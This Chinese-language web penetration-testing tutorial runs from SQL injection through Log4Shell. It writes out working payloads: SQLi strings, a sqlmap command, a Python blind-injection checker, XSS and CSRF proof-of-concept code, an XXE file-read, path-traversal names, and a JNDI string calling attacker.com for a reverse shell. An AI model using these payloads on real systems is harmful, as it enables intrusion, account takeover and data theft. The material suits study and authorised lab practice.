WEB-01:Web安全基础概览(一)
核心概念:
-
OWASP Top 10:2023年最新风险包括注入漏洞、身份认证失效、敏感数据泄露等。
-
攻击面:前端(XSS、CSRF)、后端(SQL注入、文件上传)、协议层(HTTP头注入)。
-
防御原则:最小权限、输入验证、输出编码、深度防御。
实战建议:
- 使用浏览器开发者工具(F12)分析请求/响应,定位潜在漏洞点。
WEB-02:SQL注入漏洞原理与危害
原理:通过未过滤的用户输入拼接SQL语句,篡改查询逻辑。
攻击类型:
-
联合查询注入 :
' UNION SELECT username, password FROM users--
-
报错注入 :
' AND updatexml(1, concat(0x7e, (SELECT database())), 1)--
-
盲注 :基于布尔或时间延迟判断结果(如
' AND IF(1=1, SLEEP(5), 0)--
)。
危害:
-
数据库拖库(如用户凭证、支付信息)。
-
服务器文件读取(通过
LOAD_FILE()
函数)。 -
远程命令执行(通过数据库导出功能)。
WEB-03:寻找第一个SQL注入漏洞
手动测试步骤:
-
探测注入点 :在输入框或URL参数中添加
'
或"
,观察是否返回数据库错误。 -
验证漏洞:
sql
http://example.com?id=1' AND '1'='1 -- 页面正常
http://example.com?id=1' AND '1'='2 -- 页面异常
- 利用工具 :使用
sqlmap
自动化检测:
bash
sqlmap -u "http://example.com?id=1" --dbs
防御方案:
-
预编译语句(如Java的
PreparedStatement
)。 -
使用ORM框架(如Hibernate)。
WEB-04:Python实现自动化SQL注入攻击(一)
代码示例(基于布尔盲注):
python
import requests
def check_vulnerability(url):
payload = "1' AND 1=1 -- "
response = requests.get(url + payload)
if "Welcome" in response.text:
return True
else:
return False
# 调用函数
target_url = "http://example.com?id="
print("漏洞存在" if check_vulnerability(target_url) else "漏洞不存在")
进阶 :结合二分法逐字符提取数据库名(参考sqlmap
算法)。
WEB-05:XSS、SSRF、CSRF漏洞中的Fuzz技巧
- XSS Fuzz:
-
测试Payload:
<script>alert(1)</script>
、<img src=x onerror=alert(1)>
-
使用工具:Burp Suite的
Intruder
模块批量测试输入点。
- SSRF Fuzz:
-
探测内网IP:将参数替换为
http://127.0.0.1:8080
或file:///etc/passwd
。 -
绕过限制:使用DNS重绑定或URL编码(如
http://ⓔⓧⓐⓜⓟⓛⓔ.com
)。
- CSRF Fuzz:
- 生成POC页面:
html
<form action="http://target.com/change_email" method="POST">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>document.forms[0].submit();</script>
WEB-06:短信验证码逻辑漏洞(爆破、回显、转友)
- 爆破漏洞:
-
场景:验证码未做次数限制。
-
攻击:使用Burp Suite的
Intruder
对4位数字验证码暴力枚举(0000-9999)。
- 回显漏洞:
-
场景:验证码直接返回在响应中(如JSON字段
{"code": "1234"}
)。 -
利用:自动化脚本提取验证码并提交。
- 转友漏洞:
-
场景:验证码与手机号未绑定,攻击者可复用验证码至其他号码。
-
绕过:拦截请求修改手机号参数为受害者号码。
WEB-07:验证码与手机未绑定认证关系
漏洞原理:
服务端仅校验验证码是否正确,未验证发送验证码的手机号与提交请求的手机号是否一致。
实战案例:
-
使用自己手机号获取验证码。
-
提交验证码时,将请求中的手机号参数改为目标号码。
-
服务端误认为目标号码已验证,允许重置密码或登录。
修复方案:
- 绑定Session或Token关联手机号与验证码。
WEB-08:实战利用BP挖掘口令漏洞
步骤:
-
捕获登录请求:通过Burp Suite拦截登录POST请求。
-
标记Fuzz点 :选中密码字段,右键发送至
Intruder
。 -
加载字典 :使用
rockyou.txt
或自定义弱口令列表(如admin/123456)。 -
分析结果:根据响应长度或状态码识别成功登录。
WEB-09:BOS/Kites AMS中的Fuzz骚姿势
BOS(Bucket Overwrite Storage)漏洞:
-
Fuzz目标 :上传文件名参数(如
../../../etc/passwd
)。 -
利用:覆盖服务器关键文件,触发RCE。
Kites AMS漏洞:
-
Fuzz点:XML解析模块(XXE注入)。
-
Payload示例:
xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>
WEB-10:实战Fuzz参数到远程RCE漏洞控制电脑
案例:Apache Log4j 2.x RCE(CVE-2021-44228)
-
Fuzz输入点:所有用户可控的日志字段、HTTP头、表单参数。
-
注入Payload:
${jndi:ldap://attacker.com/Exploit}
-
搭建恶意LDAP服务 :使用工具
marshalsec
启动LDAP重定向至恶意类。 -
获取反向Shell:目标服务器加载远程类后,执行反向连接命令。
总结
本部分系统剖析了Web安全的核心漏洞类型与高级挖掘技巧,从SQL注入到逻辑漏洞,结合自动化工具与手动Fuzz方法,覆盖攻击者视角的完整渗透链路。下期预告:漏洞复现与自动化工具(Xray联动、Docker快速搭建靶场)!
注意事项:
-
所有漏洞验证需在授权范围内进行,禁止非法测试。
-
建议使用DVWA、WebGoat等靶场进行练习。